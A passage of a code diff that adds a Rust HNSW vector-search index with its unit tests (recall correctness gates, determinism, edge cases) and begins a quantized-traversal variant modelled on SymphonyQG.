+                    na += x * x;
+                    nb += y * y;
+                }
+                let denom = (na * nb).sqrt();
+                if denom < 1e-12 {
+                    1.0
+                } else {
+                    (1.0 - dot / denom) as f32
+                }
+            }
+        }
+    }
+}
+
+/// Construction / search hyper-parameters for an [`HnswIndex`].
+///
+/// Defaults follow the paper's recommended starting points (`M = 16`,
+/// `ef_construction = 200`). `ef_search` is the query-time beam width; larger
+/// `ef_search` trades QPS for recall — the knob the ADR-261 benchmark sweeps to
+/// find the equal-recall operating point.
+#[derive(Debug, Clone, Copy)]
+pub struct HnswParams {
+    /// Max neighbours per node on layers ≥ 1. Layer 0 uses `2·M` (`m_max0`),
+    /// the paper's standard asymmetry (the base layer needs higher degree).
+    pub m: usize,
+    /// Candidate list size during construction (`efConstruction`). Larger =
+    /// better-connected graph, slower build.
+    pub ef_construction: usize,
+    /// Default beam width at query time (`ef`). Overridable per-query in
+    /// [`HnswIndex::search`].
+    pub ef_search: usize,
+    /// Seed for the level-assignment PRNG. Fixed ⇒ reproducible graph.
+    pub seed: u64,
+}
+
+impl Default for HnswParams {
+    fn default() -> Self {
+        Self {
+            m: 16,
+            ef_construction: 200,
+            ef_search: 64,
+            seed: 0x1157_0000_0000_0001u64,
+        }
+    }
+}
+
+/// A min-distance ordering wrapper: a `BinaryHeap<Candidate>` is a **max-heap**,
+/// so we negate the comparison to make `peek()` the *closest* candidate when we
+/// want a min-heap, or use it directly for a max-heap of the *farthest*. We keep
+/// two explicit newtypes to make the intent unmistakable at each call site.
+#[derive(Debug, Clone, Copy)]
+struct Scored {
+    dist: f32,
+    id: u32,
+}
+
+impl PartialEq for Scored {
+    fn eq(&self, other: &Self) -> bool {
+        self.dist == other.dist && self.id == other.id
+    }
+}
+impl Eq for Scored {}
+
+/// Max-heap ordering: larger `dist` is "greater" ⇒ at the top. Ties broken by
+/// id so the order is total and deterministic.
+impl Ord for Scored {
+    fn cmp(&self, other: &Self) -> Ordering {
+        self.dist
+            .partial_cmp(&other.dist)
+            .unwrap_or(Ordering::Equal)
+            .then(self.id.cmp(&other.id))
+    }
+}
+impl PartialOrd for Scored {
+    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
+        Some(self.cmp(other))
+    }
+}
+
+/// `Reverse`-equivalent for a min-heap (closest at top) without pulling in
+/// `std::cmp::Reverse` boilerplate at every site.
+#[derive(Debug, Clone, Copy)]
+struct MinScored(Scored);
+impl PartialEq for MinScored {
+    fn eq(&self, other: &Self) -> bool {
+        self.0 == other.0
+    }
+}
+impl Eq for MinScored {}
+impl Ord for MinScored {
+    fn cmp(&self, other: &Self) -> Ordering {
+        other.0.cmp(&self.0) // reversed
+    }
+}
+impl PartialOrd for MinScored {
+    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
+        Some(self.cmp(other))
+    }
+}
+
+/// A multi-layer HNSW graph index over dense `Vec<f32>` embeddings.
+///
+/// IDs are the **insertion index** (`0..len`), returned by [`HnswIndex::search`]
+/// alongside the distance. The original vectors are retained (the graph needs
+/// them for distance computation at query time), so memory is
+/// `O(N·d) + O(N·M)` — the float vectors plus the adjacency lists.
+#[derive(Debug, Clone)]
+pub struct HnswIndex {
+    metric: Metric,
+    params: HnswParams,
+    dim: usize,
+    /// Stored vectors, indexed by id.
+    vectors: Vec<Vec<f32>>,
+    /// `links[id][layer]` = neighbour ids of `id` on `layer`. A node of level
+    /// `ℓ` has `ℓ+1` layers (`0..=ℓ`).
+    links: Vec<Vec<Vec<u32>>>,
+    /// Per-node top level.
+    levels: Vec<usize>,
+    /// Current entry point id (the highest-level node), or `None` if empty.
+    entry: Option<u32>,
+    /// Highest level currently present in the graph.
+    top_level: usize,
+    /// PRNG state for level assignment (advances per insert).
+    rng_state: u64,
+}
+
+impl HnswIndex {
+    /// Create an empty index with the given metric and parameters.
+    ///
+    /// `dim` is the expected embedding dimension. Inserts of a different length
+    /// are accepted charitably (the metric compares over the shorter prefix), so
+    /// a wrong-length vector degrades recall rather than panicking — but callers
+    /// should keep dimension uniform.
+    pub fn new(dim: usize, metric: Metric, params: HnswParams) -> Self {
+        Self {
+            metric,
+            params,
+            dim,
+            vectors: Vec::new(),
+            links: Vec::new(),
+            levels: Vec::new(),
+            entry: None,
+            top_level: 0,
+            rng_state: params.seed.wrapping_add(0x9E37_79B9_7F4A_7C15),
+        }
+    }
+
+    /// Number of indexed points.
+    #[inline]
+    pub fn len(&self) -> usize {
+        self.vectors.len()
+    }
+
+    /// True iff the index holds no points.
+    #[inline]
+    pub fn is_empty(&self) -> bool {
+        self.vectors.is_empty()
+    }
+
+    /// The metric this index ranks by.
+    #[inline]
+    pub fn metric(&self) -> Metric {
+        self.metric
+    }
+
+    /// The expected embedding dimension.
+    #[inline]
+    pub fn dim(&self) -> usize {
+        self.dim
+    }
+
+    /// The current entry-point id (highest-level node), or `None` if empty.
+    /// Exposed so the quantized variant ([`crate::hnsw_quantized`]) can traverse
+    /// the **same** graph with a different (quantized) score.
+    #[inline]
+    pub fn entry_point(&self) -> Option<u32> {
+        self.entry
+    }
+
+    /// The highest level currently present in the graph.
+    #[inline]
+    pub fn top_level(&self) -> usize {
+        self.top_level
+    }
+
+    /// The default query-time beam width (`ef_search`) from this index's params.
+    #[inline]
+    pub fn params_ef_search(&self) -> usize {
+        self.params.ef_search
+    }
+
+    /// Borrow the neighbour ids of `id` on `layer`. Returns an empty slice if the
+    /// id is unknown or the node does not reach that layer — never panics. Used
+    /// by the quantized variant to walk the shared graph.
+    #[inline]
+    pub fn neighbours(&self, id: u32, layer: usize) -> &[u32] {
+        match self.links.get(id as usize).and_then(|l| l.get(layer)) {
+            Some(v) => v.as_slice(),
+            None => &[],
+        }
+    }
+
+    /// `m_max` for a layer: `2·M` on layer 0, `M` above. The base layer carries
+    /// every node and needs higher degree to stay connected (the paper's
+    /// asymmetric degree cap).
+    #[inline]
+    fn m_max(&self, layer: usize) -> usize {
+        if layer == 0 {
+            self.params.m * 2
+        } else {
+            self.params.m
+        }
+    }
+
+    /// Draw the next node's level from a geometric distribution with parameter
+    /// `m_l = 1/ln(M)` — the paper's level generator — using the **seeded**
+    /// SplitMix64 stream. `floor(−ln(U) · m_l)` with `U ∈ (0, 1]`.
+    fn assign_level(&mut self) -> usize {
+        let m = self.params.m.max(2) as f64;
+        let m_l = 1.0 / m.ln();
+        // Uniform in (0, 1] from the top 53 bits of a SplitMix64 word.
+        let r = split_mix64(&mut self.rng_state);
+        let u = (((r >> 11) as f64) + 1.0) / ((1u64 << 53) as f64 + 1.0);
+        let level = (-(u.ln()) * m_l).floor();
+        if level.is_finite() && level >= 0.0 {
+            level as usize
+        } else {
+            0
+        }
+    }
+
+    /// Insert `embedding` with the next sequential id. Returns the assigned id.
+    ///
+    /// Builds the node's adjacency by searching the existing graph for its
+    /// nearest neighbours at each of its layers and connecting via the
+    /// neighbour-selection heuristic. The first insert becomes the entry point.
+    pub fn insert(&mut self, embedding: &[f32]) -> u32 {
+        let id = self.vectors.len() as u32;
+        let vec = embedding.to_vec();
+        let node_level = self.assign_level();
+
+        // Push the node into the arrays UP FRONT with empty per-layer link lists.
+        // This is load-bearing: the bidirectional wiring below does
+        // `self.links[nbr][l].push(id)`, after which a neighbour points at `id`;
+        // a subsequent traversal step in the SAME insert can hop to that
+        // neighbour and read `self.links[id]`. If `id`'s links did not exist yet
+        // that read panics (the bug the recall gate caught). The new node has no
+        // *incoming* edges until we add them, and empty outgoing lists, so it is
+        // unreachable by the searches that run before its edges are wired —
+        // pushing it early is safe and keeps every `self.links[*]` index valid.
+        self.vectors.push(vec.clone());
+        self.links.push(vec![Vec::new(); node_level + 1]);
+        self.levels.push(node_level);
+
+        // First node: it is the entry point, no neighbours to connect.
+        if self.entry.is_none() {
+            self.entry = Some(id);
+            self.top_level = node_level;
+            return id;
+        }
+
+        let entry = self.entry.unwrap();
+        let mut ep = entry;
+
+        // Phase 1: greedy-descend from the top of the graph down to the layer
+        // just above the node's own top level, refining the single entry point.
+        let mut layer = self.top_level;
+        while layer > node_level {
+            ep = self.greedy_closest(&vec, ep, layer);
+            if layer == 0 {
+                break;
+            }
+            layer -= 1;
+        }
+
+        // Phase 2: from min(node_level, top_level) down to 0, search for
+        // ef_construction candidates, select neighbours, and wire bidirectional
+        // edges (pruning the neighbour's list if it overflows m_max).
+        let start = node_level.min(self.top_level);
+        let mut layer = start as isize;
+        while layer >= 0 {
+            let l = layer as usize;
+            let candidates =
+                self.search_layer(&vec, &[ep], self.params.ef_construction.max(1), l);
+            let selected = self.select_neighbours(&vec, &candidates, self.m_max(l));
+
+            // Connect node -> selected (write straight into the node's slot).
+            self.links[id as usize][l] = selected.iter().map(|s| s.id).collect();
+
+            // Connect selected -> node (bidirectional), pruning if needed.
+            for s in &selected {
+                let nbr = s.id as usize;
+                self.links[nbr][l].push(id);
+                if self.links[nbr][l].len() > self.m_max(l) {
+                    self.prune_neighbours(nbr as u32, l);
+                }
+            }
+
+            // Move the entry for the next-lower layer to the closest candidate.
+            if let Some(best) = candidates
+                .iter()
+                .min_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal))
+            {
+                ep = best.id;
+            }
+            layer -= 1;
+        }
+
+        if node_level > self.top_level {
+            self.top_level = node_level;
+            self.entry = Some(id);
+        }
+        id
+    }
+
+    /// Greedy single-best descent on one layer: hop to the neighbour closest to
+    /// `query` until no neighbour improves. Iterative (bounded by the graph) —
+    /// no recursion.
+    fn greedy_closest(&self, query: &[f32], start: u32, layer: usize) -> u32 {
+        let mut best = start;
+        let mut best_d = self.metric.distance(query, &self.vectors[best as usize]);
+        loop {
+            let mut improved = false;
+            for &nbr in &self.links[best as usize][layer] {
+                let d = self.metric.distance(query, &self.vectors[nbr as usize]);
+                if d < best_d {
+                    best_d = d;
+                    best = nbr;
+                    improved = true;
+                }
+            }
+            if !improved {
+                return best;
+            }
+        }
+    }
+
+    /// Beam search on one layer (paper Algorithm 2): best-first expansion from
+    /// `entry_points`, keeping the `ef` closest results. Returns the result set
+    /// (unsorted; callers sort/truncate). Bounded by a visited set + the `ef`
+    /// result heap — no recursion, no unbounded growth.
+    fn search_layer(
+        &self,
+        query: &[f32],
+        entry_points: &[u32],
+        ef: usize,
+        layer: usize,
+    ) -> Vec<Scored> {
+        let mut visited: HashSet<u32> = HashSet::new();
+        // `candidates`: min-heap (closest first) of nodes to expand.
+        let mut candidates: BinaryHeap<MinScored> = BinaryHeap::new();
+        // `results`: max-heap (farthest first) of the best-ef found so far, so
+        // the top is the current worst and is cheap to evict.
+        let mut results: BinaryHeap<Scored> = BinaryHeap::new();
+
+        for &ep in entry_points {
+            if ep as usize >= self.vectors.len() {
+                continue;
+            }
+            let d = self.metric.distance(query, &self.vectors[ep as usize]);
+            let s = Scored { dist: d, id: ep };
+            visited.insert(ep);
+            candidates.push(MinScored(s));
+            results.push(s);
+        }
+        // Cap results at ef from the start.
+        while results.len() > ef {
+            results.pop();
+        }
+
+        while let Some(MinScored(cur)) = candidates.pop() {
+            // Stop when the closest unexpanded candidate is farther than the
+            // current worst result and the result set is already full.
+            let worst = results.peek().map(|s| s.dist).unwrap_or(f32::INFINITY);
+            if cur.dist > worst && results.len() >= ef {
+                break;
+            }
+            for &nbr in &self.links[cur.id as usize][layer] {
+                if !visited.insert(nbr) {
+                    continue;
+                }
+                let d = self.metric.distance(query, &self.vectors[nbr as usize]);
+                let worst = results.peek().map(|s| s.dist).unwrap_or(f32::INFINITY);
+                if results.len() < ef || d < worst {
+                    let s = Scored { dist: d, id: nbr };
+                    candidates.push(MinScored(s));
+                    results.push(s);
+                    while results.len() > ef {
+                        results.pop();
+                    }
+                }
+            }
+        }
+        results.into_vec()
+    }
+
+    /// Neighbour-selection heuristic (paper Algorithm 4): from `candidates`,
+    /// greedily pick up to `m` that are **closer to the new point than to any
+    /// already-picked neighbour**, giving diverse, navigable edges instead of a
+    /// clump. Candidates are considered nearest-first.
+    fn select_neighbours(&self, _base: &[f32], candidates: &[Scored], m: usize) -> Vec<Scored> {
+        let mut sorted = candidates.to_vec();
+        sorted.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
+        let mut selected: Vec<Scored> = Vec::with_capacity(m);
+        for cand in sorted {
+            if selected.len() >= m {
+                break;
+            }
+            // Keep `cand` only if it is closer to `base` than to every already
+            // selected neighbour — the diversity condition.
+            let cand_vec = &self.vectors[cand.id as usize];
+            let mut keep = true;
+            for sel in &selected {
+                let d_cand_sel = self.metric.distance(cand_vec, &self.vectors[sel.id as usize]);
+                if d_cand_sel < cand.dist {
+                    keep = false;
+                    break;
+                }
+            }
+            if keep {
+                selected.push(cand);
+            }
+        }
+        // If the diversity filter left us short (sparse graph), backfill with the
+        // remaining nearest candidates so the node is not under-connected.
+        if selected.len() < m {
+            let chosen: HashSet<u32> = selected.iter().map(|s| s.id).collect();
+            let mut rest: Vec<Scored> = candidates
+                .iter()
+                .filter(|c| !chosen.contains(&c.id))
+                .copied()
+                .collect();
+            rest.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
+            for c in rest {
+                if selected.len() >= m {
+                    break;
+                }
+                selected.push(c);
+            }
+        }
+        selected
+    }
+
+    /// Re-prune a node's neighbour list on `layer` back down to `m_max` using
+    /// the selection heuristic, after a bidirectional edge pushed it over cap.
+    fn prune_neighbours(&mut self, id: u32, layer: usize) {
+        let base = self.vectors[id as usize].clone();
+        let current: Vec<Scored> = self.links[id as usize][layer]
+            .iter()
+            .map(|&nbr| Scored {
+                dist: self.metric.distance(&base, &self.vectors[nbr as usize]),
+                id: nbr,
+            })
+            .collect();
+        let kept = self.select_neighbours(&base, &current, self.m_max(layer));
+        self.links[id as usize][layer] = kept.iter().map(|s| s.id).collect();
+    }
+
+    /// Search for the `k` nearest neighbours of `query`, using beam width `ef`
+    /// (clamped to at least `k`). Returns up to `k` `(id, distance)` pairs sorted
+    /// ascending by distance.
+    ///
+    /// Degenerate cases return cleanly: empty index ⇒ empty vec; `k == 0` ⇒ empty
+    /// vec; `k > len` ⇒ all points; a single node ⇒ that node. Never panics.
+    pub fn search(&self, query: &[f32], k: usize, ef: usize) -> Vec<(u32, f32)> {
+        if k == 0 || self.is_empty() {
+            return Vec::new();
+        }
+        let entry = match self.entry {
+            Some(e) => e,
+            None => return Vec::new(),
+        };
+        let ef = ef.max(k).max(1);
+
+        // Greedy-descend the upper layers to a good layer-0 entry point.
+        let mut ep = entry;
+        let mut layer = self.top_level;
+        while layer > 0 {
+            ep = self.greedy_closest(query, ep, layer);
+            layer -= 1;
+        }
+        // Beam search on layer 0.
+        let mut results = self.search_layer(query, &[ep], ef, 0);
+        results.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
+        results.truncate(k);
+        results.into_iter().map(|s| (s.id, s.dist)).collect()
+    }
+
+    /// Search using the index's configured default `ef_search`.
+    #[inline]
+    pub fn search_default(&self, query: &[f32], k: usize) -> Vec<(u32, f32)> {
+        self.search(query, k, self.params.ef_search)
+    }
+
+    /// Borrow a stored vector by id (for the quantized variant / reranking).
+    #[inline]
+    pub fn vector(&self, id: u32) -> Option<&[f32]> {
+        self.vectors.get(id as usize).map(|v| v.as_slice())
+    }
+
+    /// Brute-force exact top-K linear scan over the stored vectors — the ANN
+    /// **ground truth** and the linear-scan baseline the benchmark measures
+    /// against. `O(N·d)` per query. Returns up to `k` `(id, distance)` ascending.
+    pub fn brute_force(&self, query: &[f32], k: usize) -> Vec<(u32, f32)> {
+        if k == 0 || self.is_empty() {
+            return Vec::new();
+        }
+        let mut scored: Vec<(u32, f32)> = self
+            .vectors
+            .iter()
+            .enumerate()
+            .map(|(i, v)| (i as u32, self.metric.distance(query, v)))
+            .collect();
+        scored.sort_by(|a, b| a.1.partial_cmp(&b.1).unwrap_or(Ordering::Equal));
+        scored.truncate(k);
+        scored
+    }
+}
+
+/// SplitMix64 step — the same deterministic PRNG used by [`crate::rotation`].
+/// Public-domain (Sebastiano Vigna). Dependency-free and reproducible.
+#[inline]
+pub(crate) fn split_mix64(state: &mut u64) -> u64 {
+    *state = state.wrapping_add(0x9E37_79B9_7F4A_7C15);
+    let mut z = *state;
+    z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
+    z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
+    z ^ (z >> 31)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// SplitMix64-driven uniform in [0,1) for building fixtures (mirrors
+    /// `coverage.rs`'s style so the planted-cluster geometry matches).
+    fn unif01(state: &mut u64) -> f32 {
+        let r = split_mix64(state);
+        ((r >> 40) as f32) / ((1u64 << 24) as f32)
+    }
+    fn gauss(state: &mut u64) -> f32 {
+        let u1 = unif01(state).max(1e-7);
+        let u2 = unif01(state);
+        (-2.0 * u1.ln()).sqrt() * (std::f32::consts::TAU * u2).cos()
+    }
+
+    /// Build a planted-cluster fixture: `n` vectors of `dim`, in `clusters`
+    /// Gaussian clusters. Returns the vectors. Deterministic from `seed`.
+    fn planted(dim: usize, n: usize, clusters: usize, seed: u64) -> Vec<Vec<f32>> {
+        let centres: Vec<Vec<f32>> = (0..clusters)
+            .map(|c| {
+                let mut s = seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+                (0..dim).map(|_| gauss(&mut s) * 3.0).collect()
+            })
+            .collect();
+        (0..n)
+            .map(|i| {
+                let c = i % clusters;
+                let mut s = seed ^ (i as u64).wrapping_mul(0x9E37);
+                (0..dim).map(|d| centres[c][d] + gauss(&mut s) * 0.35).collect()
+            })
+            .collect()
+    }
+
+    fn build(vectors: &[Vec<f32>], metric: Metric, seed: u64) -> HnswIndex {
+        let params = HnswParams {
+            m: 16,
+            ef_construction: 200,
+            ef_search: 64,
+            seed,
+        };
+        let mut idx = HnswIndex::new(vectors[0].len(), metric, params);
+        for v in vectors {
+            idx.insert(v);
+        }
+        idx
+    }
+
+    /// Recall@k of HNSW search vs brute-force ground truth, averaged over queries
+    /// drawn from the same planted clusters.
+    fn recall_at_k(
+        idx: &HnswIndex,
+        vectors: &[Vec<f32>],
+        dim: usize,
+        clusters: usize,
+        k: usize,
+        ef: usize,
+        n_queries: usize,
+        seed: u64,
+    ) -> f64 {
+        let centres_seed = seed; // reuse fixture seed for matching cluster geometry
+        let mut total = 0.0f64;
+        for q in 0..n_queries {
+            let c = q % clusters;
+            let mut s = centres_seed ^ 0xDEAD_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
+            // A query near cluster centre c: regenerate the centre then jitter.
+            let mut cs = centres_seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
+            let centre: Vec<f32> = (0..dim).map(|_| gauss(&mut cs) * 3.0).collect();
+            let qv: Vec<f32> = (0..dim).map(|d| centre[d] + gauss(&mut s) * 0.35).collect();
+
+            let truth: HashSet<u32> = idx.brute_force(&qv, k).into_iter().map(|(id, _)| id).collect();
+            let got = idx.search(&qv, k, ef);
+            let hit = got.iter().filter(|(id, _)| truth.contains(id)).count();
+            total += hit as f64 / k as f64;
+            let _ = vectors;
+        }
+        total / n_queries as f64
+    }
+
+    #[test]
+    fn empty_index_search_is_empty_no_panic() {
+        let idx = HnswIndex::new(8, Metric::L2, HnswParams::default());
+        assert!(idx.is_empty());
+        assert!(idx.search(&[0.0; 8], 5, 16).is_empty());
+        assert!(idx.brute_force(&[0.0; 8], 5).is_empty());
+    }
+
+    #[test]
+    fn single_node_returns_itself() {
+        let mut idx = HnswIndex::new(4, Metric::L2, HnswParams::default());
+        let id = idx.insert(&[1.0, 2.0, 3.0, 4.0]);
+        assert_eq!(id, 0);
+        let r = idx.search(&[1.0, 2.0, 3.0, 4.0], 5, 16);
+        assert_eq!(r.len(), 1);
+        assert_eq!(r[0].0, 0);
+        assert!(r[0].1 < 1e-6);
+    }
+
+    #[test]
+    fn k_zero_and_k_gt_n_no_panic() {
+        let vectors = planted(16, 40, 4, 0xABCD);
+        let idx = build(&vectors, Metric::L2, 0x1234);
+        assert!(idx.search(&vectors[0], 0, 16).is_empty());
+        // k > n returns all n.
+        let r = idx.search(&vectors[0], 1000, 64);
+        assert_eq!(r.len(), 40);
+    }
+
+    #[test]
+    fn ragged_query_no_panic() {
+        let vectors = planted(16, 30, 3, 0x55);
+        let idx = build(&vectors, Metric::Cosine, 0x66);
+        // Short and long queries must not panic.
+        assert!(!idx.search(&[1.0, 2.0, 3.0], 3, 16).is_empty());
+        let long: Vec<f32> = (0..100).map(|i| i as f32).collect();
+        assert!(!idx.search(&long, 3, 16).is_empty());
+    }
+
+    #[test]
+    fn self_query_ranks_self_first() {
+        let vectors = planted(32, 200, 8, 0x77);
+        let idx = build(&vectors, Metric::L2, 0x88);
+        for &probe in &[0usize, 50, 137, 199] {
+            let r = idx.search(&vectors[probe], 1, 64);
+            assert_eq!(r.len(), 1);
+            assert_eq!(r[0].0, probe as u32, "self-query should return the stored self");
+        }
+    }
+
+    #[test]
+    fn hnsw_is_deterministic_for_seed() {
+        // Same (seed, params, insertion order) ⇒ identical level assignment and
+        // identical search output.
+        let vectors = planted(24, 150, 6, 0x2222);
+        let a = build(&vectors, Metric::Cosine, 0xFEED);
+        let b = build(&vectors, Metric::Cosine, 0xFEED);
+        assert_eq!(a.levels, b.levels, "level assignment must be deterministic");
+        let q = &vectors[42];
+        assert_eq!(a.search(q, 10, 64), b.search(q, 10, 64));
+        // A different seed (almost surely) changes the level structure.
+        let c = build(&vectors, Metric::Cosine, 0x1357);
+        assert_ne!(a.levels, c.levels, "different seed should change levels");
+    }
+
+    #[test]
+    fn recall_at_10_meets_correctness_gate_l2() {
+        // THE CORRECTNESS GATE (ADR-261): HNSW recall@10 vs brute-force must be
+        // >= 0.95 at a reasonable ef. Low recall ⇒ a bug in the graph.
+        let dim = 64;
+        let n = 2000;
+        let clusters = 32;
+        let seed = 0x9999;
+        let vectors = planted(dim, n, clusters, seed);
+        let idx = build(&vectors, Metric::L2, 0xAAAA);
+        let recall = recall_at_k(&idx, &vectors, dim, clusters, 10, 128, 64, seed);
+        assert!(
+            recall >= 0.95,
+            "HNSW recall@10 (L2) = {recall:.4} below the 0.95 correctness gate — graph bug"
+        );
+    }
+
+    #[test]
+    fn recall_at_10_meets_correctness_gate_cosine() {
+        let dim = 64;
+        let n = 2000;
+        let clusters = 32;
+        let seed = 0xBBBB;
+        let vectors = planted(dim, n, clusters, seed);
+        let idx = build(&vectors, Metric::Cosine, 0xCCCC);
+        let recall = recall_at_k(&idx, &vectors, dim, clusters, 10, 128, 64, seed);
+        assert!(
+            recall >= 0.95,
+            "HNSW recall@10 (cosine) = {recall:.4} below the 0.95 correctness gate — graph bug"
+        );
+    }
+
+    #[test]
+    fn higher_ef_does_not_reduce_recall() {
+        // Monotonicity sanity: more beam width should not hurt recall.
+        let dim = 48;
+        let vectors = planted(dim, 1000, 16, 0xD00D);
+        let idx = build(&vectors, Metric::L2, 0xE00E);
+        let lo = recall_at_k(&idx, &vectors, dim, 16, 10, 16, 48, 0xD00D);
+        let hi = recall_at_k(&idx, &vectors, dim, 16, 10, 128, 48, 0xD00D);
+        assert!(hi + 1e-9 >= lo, "recall dropped with larger ef: {lo:.3} -> {hi:.3}");
+    }
+
+    #[test]
+    fn zero_dim_no_panic() {
+        // Degenerate zero-dimension index: inserts and searches must not panic.
+        let mut idx = HnswIndex::new(0, Metric::Cosine, HnswParams::default());
+        idx.insert(&[]);
+        idx.insert(&[]);
+        let r = idx.search(&[], 2, 16);
+        assert_eq!(r.len(), 2);
+    }
+}

v2/crates/wifi-densepose-ruvector/src/hnsw_quantized.rs

@@ -0,0 +1,673 @@
+//! A **SymphonyQG-style quantized-traversal HNSW** — ADR-261 (multi-bit, §11).
+//!
+//! # The SymphonyQG bet (what we are testing)
+//!
+//! [SymphonyQG (SIGMOD 2025)](../../../../../docs/adr/ADR-261-ruvector-graph-ann-index.md)
+//! unifies **quantization with graph traversal**: instead of computing the full
+//! float distance at every node the beam search visits (the cost that dominates
+//! float HNSW — one `O(d)` float dot/diff per visited node), it scores traversal
+//! candidates with a **cheap quantized distance** and only computes the exact
+//! float distance for the *final* candidate set, which it **reranks**. The bet:
+//! the quantized score is cheap enough — and accurate enough to keep the beam on
+//! the right path — that you visit roughly as many nodes but pay far less per
+//! node, and recover the small recall loss with a final exact rerank. Source
+//! reports **3.5–17× QPS over HNSW at equal recall**.
+//!
+//! # Our implementation (honest scope)
+//!
+//! We are **not** reproducing SymphonyQG's exact system (their RaBitQ-fused codes,
+//! their SIMD layout, their refined graph). We build the **direction** of the
+//! claim from the pieces this crate already has, so the comparison is
+//! apples-to-apples on *our* hardware:
+//!
+//! - **Same graph** as the float [`crate::HnswIndex`] — identical structure,
+//!   identical seed, identical level assignment. The *only* variable between the
+//!   float and quantized search is **how a candidate is scored during traversal**,
+//!   so any QPS/recall difference is attributable to the quantization, not to a
+//!   different graph.
+//! - **Quantized score = `b`-bit code over the RaBitQ Pass-2 rotated coordinates**
+//!   ([`crate::rotation`] + the multi-bit scalar quantizer mirrored from
+//!   [ADR-156 §10](../../../../../docs/adr/ADR-156-ruvector-fusion-beyond-sota.md)'s
+//!   `coverage::measure_multibit`). Each node stores a `b`-bit-per-dimension code
+//!   over the padded rotation length `D = next_pow2(dim)`. During traversal we
+//!   compare query-code vs node-code by the **L1 distance over the per-dim
+//!   codes** — a few machine words of integer work, no per-dimension float work.
+//!   For `b == 1` the codes are `{0, 1}` and the L1 distance is **exactly the
+//!   1-bit Hamming distance** of the original ADR-261 construction, so `b == 1`
+//!   is fully backward-compatible.
+//! - **Exact float rerank** of the final beam: the top `rerank` candidates by
+//!   code-L1 are re-scored with the true float metric and the best `k` returned.
+//!
+//! Higher `b` keeps the traversal beam on-path better than 1-bit (ADR-156 §10
+//! measured 1/2/3/4-bit strict-K coverage at ~46/54/67/74%), at a memory cost
+//! that scales linearly with `b` (bytes/node = `ceil(D·b/8)`). **Whether the
+//! extra bits net a QPS win at equal recall — and at what N a crossover with
+//! float HNSW appears, if any — is the measured question ADR-261 §11 answers.**
+//! We report the real number, win or lose, and do not tune to manufacture a
+//! speedup.
+//!
+//! # Determinism & robustness
+//!
+//! The graph seed drives everything (level assignment), so the quantized index
+//! is as reproducible as the float one. Empty/degenerate inputs are guarded
+//! exactly as in [`crate::hnsw`] — no panic on empty index, `k > n`, `k == 0`,
+//! single node, ragged query, or zero dim.
+
+use std::cmp::Ordering;
+use std::collections::{BinaryHeap, HashSet};
+
+use crate::hnsw::{HnswIndex, HnswParams, Metric};
+use crate::rotation::Rotation;
+
+/// Symmetric clamp range for the uniform mid-rise scalar quantizer, in rotated-
+/// coordinate units. The normalized FHT (`1/√D`) puts AETHER-shape rotated
+/// coordinates roughly in `[-3, 3]`; out-of-range coords clamp to the end codes.
+/// This is the **same `RANGE = 3.0`** as ADR-156 §10's `coverage::measure_multibit`,
+/// so the multi-bit code here is the same scheme that module measured.
+const RANGE: f32 = 3.0;
+
+/// A `b`-bit-per-dimension scalar code of a rotated embedding over the padded
+/// length `D`, compared by per-dim L1.
+///
+/// For `bits == 1` the per-dim code is `{0, 1}` (sign), and L1 over those codes
+/// is exactly POPCNT Hamming — so the 1-bit case is bit-for-bit the original
+/// ADR-261 construction. For `bits ∈ {2, 4}` the code is a uniform mid-rise
+/// quantizer with `2^bits` levels over `[-RANGE, RANGE]`.
+#[derive(Debug, Clone)]
+struct Code {
+    /// Per-dimension codes (`0..2^bits`), one entry per padded dimension `D`.
+    /// Kept unpacked as `u8` for branch-free L1; the *reported* memory cost is
+    /// the packed footprint (`ceil(D·bits/8)`), since a production node would
+    /// store the packed form. (We measure the packed bytes/node explicitly in
+    /// [`QuantizedHnswIndex::bytes_per_node`].)
+    codes: Vec<u8>,
+}
+
+impl Code {
+    /// L1 distance over the per-dimension codes — the multi-bit generalization
+    /// of Hamming. At `bits == 1` (codes in `{0,1}`) this equals the popcount of
+    /// the XOR, i.e. the 1-bit Hamming distance.
+    #[inline]
+    fn l1(&self, other: &Code) -> u32 {
+        let n = self.codes.len().min(other.codes.len());
+        let mut acc = 0u32;
+        for i in 0..n {
+            acc += (self.codes[i] as i32 - other.codes[i] as i32).unsigned_abs();
+        }
+        acc
+    }
+}
+
+/// Quantize the rotated coordinates of `embedding` to a `bits`-bit-per-dimension
+/// [`Code`] over the padded rotation length `D = rotation.padded_dim()`.
+///
+/// `bits == 1` reduces to sign-quantization (code `1` iff the rotated coord ≥ 0),
+/// preserving the original 1-bit construction; `bits ∈ {2, 4}` uses a uniform
+/// mid-rise quantizer with `2^bits` levels over `[-RANGE, RANGE]`, identical to
+/// ADR-156 §10's `measure_multibit`.
+fn encode(embedding: &[f32], rotation: &Rotation, bits: u32) -> Code {
+    let rotated = rotation.apply_padded(embedding);
+    let levels = 1u32 << bits; // 2^bits codes per dim
+    let codes: Vec<u8> = rotated
+        .iter()
+        .map(|&x| {
+            if bits == 1 {
+                // Sign code: identical to the original 1-bit construction.
+                u8::from(x >= 0.0)
+            } else {
+                let t = ((x + RANGE) / (2.0 * RANGE)).clamp(0.0, 1.0); // → [0,1]
+                let code = (t * (levels - 1) as f32).round() as u32;
+                code.min(levels - 1) as u8
+            }
+        })
+        .collect();
+    Code { codes }
+}
+
+/// Packed bytes a node's `bits`-bit code occupies over padded length `D`:
+/// `ceil(D·bits/8)`. The memory cost reported by ADR-261 §11 (1-bit → `D/8`,
+/// 2-bit → `D/4`, 4-bit → `D/2`).
+#[inline]
+fn packed_bytes(padded_dim: usize, bits: u32) -> usize {
+    (padded_dim * bits as usize).div_ceil(8)
+}
+
+/// Min-heap node for the quantized beam (closest code-L1 at the top).
+#[derive(Debug, Clone, Copy)]
